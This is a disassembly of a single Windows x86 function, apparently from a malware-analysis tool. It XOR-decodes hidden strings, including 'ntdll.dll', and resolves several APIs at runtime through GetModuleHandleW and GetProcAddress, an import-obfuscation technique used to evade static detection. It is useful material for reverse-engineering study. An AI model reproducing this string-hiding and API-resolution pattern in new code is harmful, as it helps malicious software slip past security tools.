Function at 0x100014a0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
push esi
mov esi, dword [0x1007b52c]
mov ebx, edx
mov dword [ebp - 0x64], ecx
push edi
test esi, esi
jne 0x10001524
mov dword [ebp - 0x28], 9
xor ecx, ecx
mov dword [ebp - 0x24], 0xf000ed
mov dword [ebp - 0x20], 0xea00e1
mov dword [ebp - 0x1c], 0xa600eb
mov dword [ebp - 0x18], 0xe600ed
mov dword [ebp - 0x14], 0x8c00e7
nop word [eax + eax]
lea eax, [ecx + 0x83]
xor word [ebp + ecx*2 - 0x24], ax
inc ecx
mov edx, dword [ebp - 0x28]
cmp ecx, edx
jb 0x100014f0
xor ecx, ecx
mov word [ebp + edx*2 - 0x24], cx
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov dword [0x1007b52c], esi
test esi, esi
je 0x1000177f
cmp dword [0x1007b530], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
jne 0x1000157c
movaps xmm0, xmmword [0x1001b670]
mov eax, 0x16
mov dword [ebp - 0x44], eax
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0xf3e7f0f7
mov dword [ebp - 0x2c], 0x99ebe4
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0x40], al
inc ecx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
jb 0x10001556
mov byte [ebp + eax - 0x40], 0
lea eax, [ebp - 0x40]
push eax
push esi
call edi
mov esi, dword [0x1007b52c]
mov dword [0x1007b530], eax
cmp dword [0x1007b534], 0
jne 0x100015cd
movaps xmm0, xmmword [0x1001b690]
xor ecx, ecx
mov dword [ebp - 0x60], 0x17
movups xmmword [ebp - 0x5c], xmm0
mov dword [ebp - 0x4c], 0xfbf0d9ff
mov dword [ebp - 0x48], 0x9ae0eaf8
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0x5c], al
inc ecx
mov eax, dword [ebp - 0x60]
cmp ecx, eax
jb 0x100015a7
mov byte [ebp + eax - 0x5c], 0
lea eax, [ebp - 0x5c]
push eax
push esi
call edi
mov esi, dword [0x1007b52c]
mov dword [0x1007b534], eax
cmp dword [0x1007b538], 0
jne 0x1000161b
mov eax, 0xa
mov dword [ebp - 0xc], 0xcaf7e0cf
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov dword [ebp - 8], 0xceede9e8
mov dword [ebp - 4], 0x8de0e7
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0xc], al
inc ecx
mov eax, dword [ebp - 0x10]
cmp ecx, eax
jb 0x100015f5
mov byte [ebp + eax - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push esi
call edi
mov esi, dword [0x1007b52c]
mov dword [0x1007b538], eax
cmp dword [0x1007b53c], 0
jne 0x10001682
movaps xmm0, xmmword [0x1001b6a0]
mov eax, 0x11
mov dword [ebp - 0x98], eax
xor ecx, ecx
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0x94f4
nop dword [eax]
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0x94], al
inc ecx
mov eax, dword [ebp - 0x98]
cmp ecx, eax
jb 0x10001650
mov byte [ebp + eax - 0x94], 0
lea eax, [ebp - 0x94]
push eax
push esi
call edi
mov esi, dword [0x1007b52c]
mov dword [0x1007b53c], eax
mov eax, dword [0x1007b540]
test eax, eax
jne 0x100016e6
movaps xmm0, xmmword [0x1001b660]
mov eax, 0x1c
movups xmmword [ebp - 0xb8], xmm0
xor ecx, ecx
mov dword [ebp - 0xbc], eax
movaps xmm0, xmmword [0x1001b650]
movups xmmword [ebp - 0xa8], xmm0
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0xb8], al
inc ecx
mov eax, dword [ebp - 0xbc]
cmp ecx, eax
jb 0x100016b4
mov byte [ebp + eax - 0xb8], 0
lea eax, [ebp - 0xb8]
push eax
push esi
call edi
mov esi, dword [0x1007b52c]
mov dword [0x1007b540], eax
mov ecx, dword [0x1007b544]
test ecx, ecx
jne 0x1000173d
movaps xmm0, xmmword [0x1001b680]
mov eax, 0x14
mov dword [ebp - 0x80], eax
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0xf1fbfde1
mov byte [ebp - 0x68], 0x97
mov word [ebp - 0x67], cx
mov byte [ebp - 0x65], cl
lea eax, [ecx - 0x7d]
xor byte [ebp + ecx - 0x7c], al
inc ecx
mov eax, dword [ebp - 0x80]
cmp ecx, eax
jb 0x10001715
mov byte [ebp + eax - 0x7c], 0
lea eax, [ebp - 0x7c]
push eax
push esi
call edi
mov ecx, eax
mov eax, dword [0x1007b540]
mov dword [0x1007b544], ecx
cmp dword [0x1007b530], 0
je 0x1000177f
cmp dword [0x1007b534], 0
je 0x1000177f
cmp dword [0x1007b538], 0
je 0x1000177f
cmp dword [0x1007b53c], 0
je 0x1000177f
test eax, eax
je 0x1000177f
test ecx, ecx
je 0x1000177f
mov ecx, dword [ebp - 0x64]
mov edx, ebx
push 0x1007b530
call section..text
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret